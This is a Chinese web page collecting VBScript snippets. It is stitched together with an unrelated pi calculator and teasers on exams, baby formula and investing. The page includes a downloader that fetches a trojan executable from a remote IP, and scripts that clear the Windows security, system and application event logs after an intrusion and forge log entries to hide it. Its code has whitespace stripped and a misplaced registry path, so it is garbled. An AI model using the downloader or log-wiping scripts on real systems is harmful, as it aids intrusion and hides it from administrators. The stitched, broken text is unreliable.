1.文件下載(無回顯)
echoiLocal=LCase(WScript.Arguments(1))>iget.vbe
echoiRemote=LCase(WScript.Arguments(0))>>iget.vbe
echoSetxPost=createObject("Microsoft.XMLHTTP")>>iget.vbe
echoxPost.Open"GET",iRemote,0>>iget.vbe
echoxPost.Send()>>iget.vbe
echoSetsGet=createObject("ADODB.Stream")>>iget.vbe
echosGet.Mode=3>>iget.vbe
echosGet.Type=1>>iget.vbe
echosGet.Open()>>iget.vbe
echosGet.Write(xPost.responseBody)>>iget.vbe
echosGet.SaveToFileiLocal,2>>iget.vbe
用法:cscripthget.vbshttp://111.111.111.111/muma.exemuma.exe
2.列舉進程
@echoforeachpsingetobject_>ps.vbs
@echo("winmgmts:\\.\root\cimv2:win32_process").instances_>>ps.vbs
@echowscript.echops.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next>>ps.vbs
用法:cscriptps.vbs
3.終止進程
@echoforeachpsingetobject_>pskill.vbs
@echo("winmgmts:\\.\root\cimv2:win32_process").instances_>>pskill.vbs
@echoifps.handle=wscript.arguments(0)thenwscript.echops.terminate:endif:next>>pskill.vbs
用法:cscriptpskill.vbspid
4.重啟系統
@echoforeachosingetobject_>reboot.vbs
@echo("winmgmts:!\\.\root\cimv2:win32_operatingsystem").instances_>>reboot.vbs
@echoos.win32shutdown(2):next>>reboot.vbs
用法:cscriptreboot.vbs
VBS腳本在系統安全中的八則巧妙應用
VBS腳本病毒的大量流行使我們對VBS的功能有了一個全新的認識,現在大家對它也開始重視起來。VBS代碼在本地是通過WindowsScriptHost(WSH)解釋執行的。VBS腳本的執行離不開WSH,WSH是微軟提供的一種基于32位Windows平臺的、與語言無關的腳本解釋機制,它使得腳本能夠直接在Windows桌面或命令提示符下運行。利用WSH,用戶能夠操縱WSH對象、ActiveX對象、注冊表和文件系統。在Windows2000下,還可用WSH來訪問WindowsNT活動目錄服務。
用VBS編寫的腳本程序在窗口界面是由wscript.exe文件解釋執行的,在字符界面由cscript.exe文件解釋執行。wscript.exe是一個腳本語言解釋器,正是它使得腳本可以被執行,就象執行批處理一樣。關于VBS大家一定比我熟悉多了,所以再不廢話,直接進入主題,看看我總結的VBS在系統安全中的八則妙用吧。
一、給注冊表編輯器解鎖
用記事本編輯如下內容:
DIMWSH
SETWSH=WSCRIPT.CreateObject("WSCRIPT.SHELL")'擊活WScript.Shell對象
WSH.POPUP("解鎖注冊表編輯器!")
'顯示彈出信息“解鎖注冊表編輯器!”
WSH.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion
\Policies\System\DisableRegistryTools",0,"REG_DWORD"
'給注冊表編輯器解鎖
WSH.POPUP("注冊表解鎖成功!")
'顯示彈出信息“注冊表解鎖成功!”
保存為以.vbs為擴展名的文件,使用時雙擊即可。
二、關閉WinNT/2000的默認共享
用記事本編輯如下內容:
DimWSHShell'定義變量
setWSHShell=CreateObject("WScript.shell")'創建一個能與操作系統溝通的對象WSHShell
Dimfso,dc
Setfso=CreateObject("Scripting.FileSystemObject")'創建文件系統對象
setdc=fso.Drives'獲取所有驅動器盤符
ForEachdindc
Dimstr
WSHShell.run("netshare"&d.driveletter&"$/delete")'關閉所有驅動器的隱藏共享
next
WSHShell.run("netshareadmin$/delete")
WSHShell.run("netshareipc$/delete")'關閉admin$和ipc$管道共享
現在來測試一下,先打開cmd.exe,輸入netshare命令就可以看到自己機子上的共享。雙擊執行stopshare.vbs后,會看見窗口一閃而過。然后再在cmd里輸入netshare命令,這時候沒有發現共享列表了
三、顯示本機IP地址
有許多時候,我們需要知道本機的IP地址,使用各種軟件雖然可以辦到,但用VBS腳本也非常的方便。用記事本編輯如下內容:
DimWS
SetWS=CreateObject("MSWinsock.Winsock")
IPAddress=WS.LocalIP
MsgBox"LocalIP="&IPAddress
將上面的內容保存為ShowIP.vbs,雙擊執行即可得到本機IP地址。
四、利用腳本編程刪除日志
入侵系統成功后黑客做的第一件事便是清除日志,如果以圖形界面遠程控制對方機器或是從終端登陸進入,刪除日志不是一件困難的事,由于日志雖然也是作為一種服務運行,但不同于http,ftp這樣的服務,可以在命令行下先停止,再刪除,在命令行下用netstopeventlog是不能停止的,所以有人認為在命令行下刪除日志是很困難的,實際上不是這樣,比方說利用腳本編程中的VMI就可以刪除日志,而且非常的簡單方便。源代碼如下:
strComputer="."
SetobjWMIService=GetObject("winmgmts:"_
&"{impersonationLevel=impersonate,(Backup)}!\\"&_
strComputer&"\root\cimv2")
dimmylogs(3)
mylogs(1)="application"
mylogs(2)="system"
mylogs(3)="security"
forEachlogsinmylogs
SetcolLogFiles=objWMIService.ExecQuery_
("select*fromWin32_NTEventLogFilewhereLogFileName='"&logs&"'")
ForEachobjLogfileincolLogFiles
objLogFile.ClearEventLog()
Next
next
將上面的代碼保存為cleanevent.vbs文件即可。在上面的代碼中,首先獲得object對象,然后利用其clearEventLog()方法刪除日志。建立一個數組,application,security,system,如果還有其他日志也可以加入數組。然后用一個for循環,刪除數組中的每一個元素,即各個日志。
五、利用腳本偽造日志
刪除日志后,任何一個有頭腦的管理員面對空空的日志,馬上就會反應過來被入侵了,所以一個聰明的黑客的學會如何偽造日志。利用腳本編程中的eventlog方法創造日志非常簡單,請看下面的代碼:
setws=wscript.createobject("Wscript.shell")
ws.logevent0,"writelogsuccess"'創建一個成功執行日志
將上面的代碼保存為createlog.vbs即可。這段代碼很容易理解,首先獲得wscript的一個shell對象,然后利用shell對象的logevent方法。logevent的用法:logeventeventtype,"description"[,remotesystem],其中eventtype為日志類型,可以使用的參數如下:0代表成功執行,1執行出錯,2警告,4信息,8成功審計,16故障審計。所以上面代碼中,把0改為1,2,4,8,16均可,引號中的內容為日志描述。利用這種方法寫的日志有一個缺點,即只能寫到應用程序日志,而且日志來源只能為WSH,即WindowsScriptingHost,所以不能起太多的隱蔽作用,在此僅供大家參考。
六、禁用開始菜單選項
用記事本編輯如下內容:
DimChangeStartMenu
SetChangeStartMenu=WScript.CreateObject("WScript.Shell")
RegPath="HKCR\Software\Microsoft\Windows\CurrentVersion\Policies\"
Type_Name="REG_DWORD"
Key_Data=1
StartMenu_Run="NoRun"
StartMenu_Find="NoFind"
StartMenu_Close="NoClose"
SubChange(Argument)
ChangeStartMenu.RegWriteRegPath&Argument,Key_Data,Type_Name
MsgBox("Success!")
EndSub
CallChange(StartMenu_Run)'禁用“開始”菜單中的“運行”功能
CallChange(StartMenu_Find)'禁用“開始”菜單中的“查找”功能
CallChange(StartMenu_Close)'禁用“開始”菜單中的“關閉系統”功能
將以上代碼保存為ChangeStartMenu.vbs文件,使用時雙擊即可。
七、執行外部程序
用記事本編輯如下內容:
DIMobjShell
setobjShell=wscript.createObject("wscript.shell")
iReturn=objShell.Run("cmd.exe/Csetvar=world",1,TRUE)
保存為.vbs文件即可。在這段代碼中,我們首先設置了一個環境變量,其名為var,而值為world,用戶可以使用%Comspec%來代替cmd.exe,并且可以把命令:setvar=world改成其它的命令,這樣就可以使它可以運行任意的命令。
八、重新啟動指定的IIS服務
用記事本編輯如下內容:
ConstADS_SERVICE_STOPPED=1
SetobjComputer=GetObject("WinNT://MYCOMPUTER,computer")
SetobjService=objComputer.GetObject("Service","MYSERVICE")
If(objService.Status=ADS_SERVICE_STOPPED)Then
objService.Start
EndIf
將它以startsvc.vbs為名保存在C盤根目錄。并通過如下命令執行:cscriptc:\startsvc.vbs。運行后,經你指定的IIS服務項將被重新開啟。
最后,我們再說說開篇時提到的VBS腳本病毒的防范方法。VBS病毒的執行離不開WSH,在帶給人們便利的同時,WSH也為病毒的傳播留下可乘之機。所以要想防范VBS病毒,可以選擇將WSH卸載,只要打開控制面板,找到“添加/刪除程序”,點選“Windows安裝程序”,再鼠標雙擊其中的“附件”一項,然后再在打開的窗口中將“WindowsScriptingHost”一項的“√”去掉,然后連續點兩次“確定”就可以將WSH卸載?;蛘?你也可以點擊“我的電腦”→“查看”→“文件夾選項”,在彈出的對話框中,點擊“文件類型”,然后刪除VBS、VBE、JS、JSE文件后綴名與應用程序的映射,都可以達到防范VBS腳本病毒的目的。
當最后一項的絕對值小于0.000001時停止計算。
編寫如下VBScript程序代碼:
<HTML>
<HEAD><TITLE>計算圓周率π</TITLE></HEAD>
<BODY><H3>計算圓周率π</H3><HR>
<INPUTTYPE="Button"NAME="Button1"VALUE="計算">
<SCRIPTFOR="Button1"EVENT="onClick"LANGUAGE="VBScript">
k=1:s=1:t=1:m=1
圖3-12計算圓周率
WhileAbs(t)>0.0000001
k=k+2
m=-m
t=m/k
s=s+t
Wend
MsgBox"圓周率π="&4*s
</script>
</BODY>
</HTML>
執行VBScript程序
注意:程序運行時間可能很長。
感謝各位的閱讀,以上就是“有哪些經典的vbs腳本”的內容了,經過本文的學習后,相信大家對有哪些經典的vbs腳本這一問題有了更深刻的體會,具體使用情況還需要大家實踐驗證。這里是本站,小編將為大家推送更多相關知識點的文章,歡迎關注!
本文由 貴州做網站公司 整理發布,部分圖文來源于互聯網,如有侵權,請聯系我們刪除,謝謝!
c語言中正確的字符常量是用一對單引號將一個字符括起表示合法的字符常量。例如‘a’。數值包括整型、浮點型。整型可用十進制,八進制,十六進制。八進制前面要加0,后面...
2022年天津專場考試原定于3月19日舉行,受疫情影響確定延期,但目前延期后的考試時間推遲。 符合報名條件的考生,須在規定時間登錄招考資訊網(www.zha...
:喜歡聽,樂意看。指很受歡迎?!巴卣官Y料”喜聞樂見:[ xǐ wén lè jiàn ]詳細解釋1. 【解釋】:喜歡聽,樂意看。指很受歡迎。2. 【示例】:這是...
養寶寶真的是對媽媽的考驗!由于寶寶身體器官和功能發育不成熟,一旦媽媽在撫養過程中疏忽大意或喂養方法錯誤,寶寶的健康就容易出現問題。比如秋冬季節,氣溫下降,空空氣干燥,寶寶奶粉上火,怎么辦?多美滋教你滅火的好方法。多美滋奶粉易吸收,不上火?!吧匣稹币话惚徽J為是炎癥。從人體代謝的角度來看,主要是情緒異常、代謝排泄障礙、細菌病毒入侵、代謝功能異常引起的。寶寶生氣時,一般表現為:牙齦多、舌苔厚、口氣重、大...
什么是顧比均線?顧比均線是由兩組均線構成,短期組為3、5、8、10、12、15。長期組為:30、35、40、45、50、60。顧比均線由澳大利亞的投資家戴若-顧比先生發明,因此叫顧比線。手機顧比均線怎么設置?顧比均線在外匯操作過程中比較常見,它是用來判斷趨勢的,其設置步驟如下:1、打開MT4手機APP;2、點擊插入-技術指標-Moving average;3、在時間周期中輸入均線參數點擊確定,然后...
大學生買基金怎么買?大學生可以買基金,并且購買非常方便,支付寶平臺、微信等平臺都可以直接購買基金,基金對于投資者年齡沒有限制。大學生購買基金建議選一些風險性比較低的,如貨幣基金、債券基金等,雖然收益不高但是勝在穩定,比較適合大學生投資。大學生買基金買多少合適?基金的門檻并不高,有的一元就可以購買,有的十元就可以購買,買多少都是可以的,但是要根據自身情況來考慮,比如說:某學生除去日常開銷的生活費,還...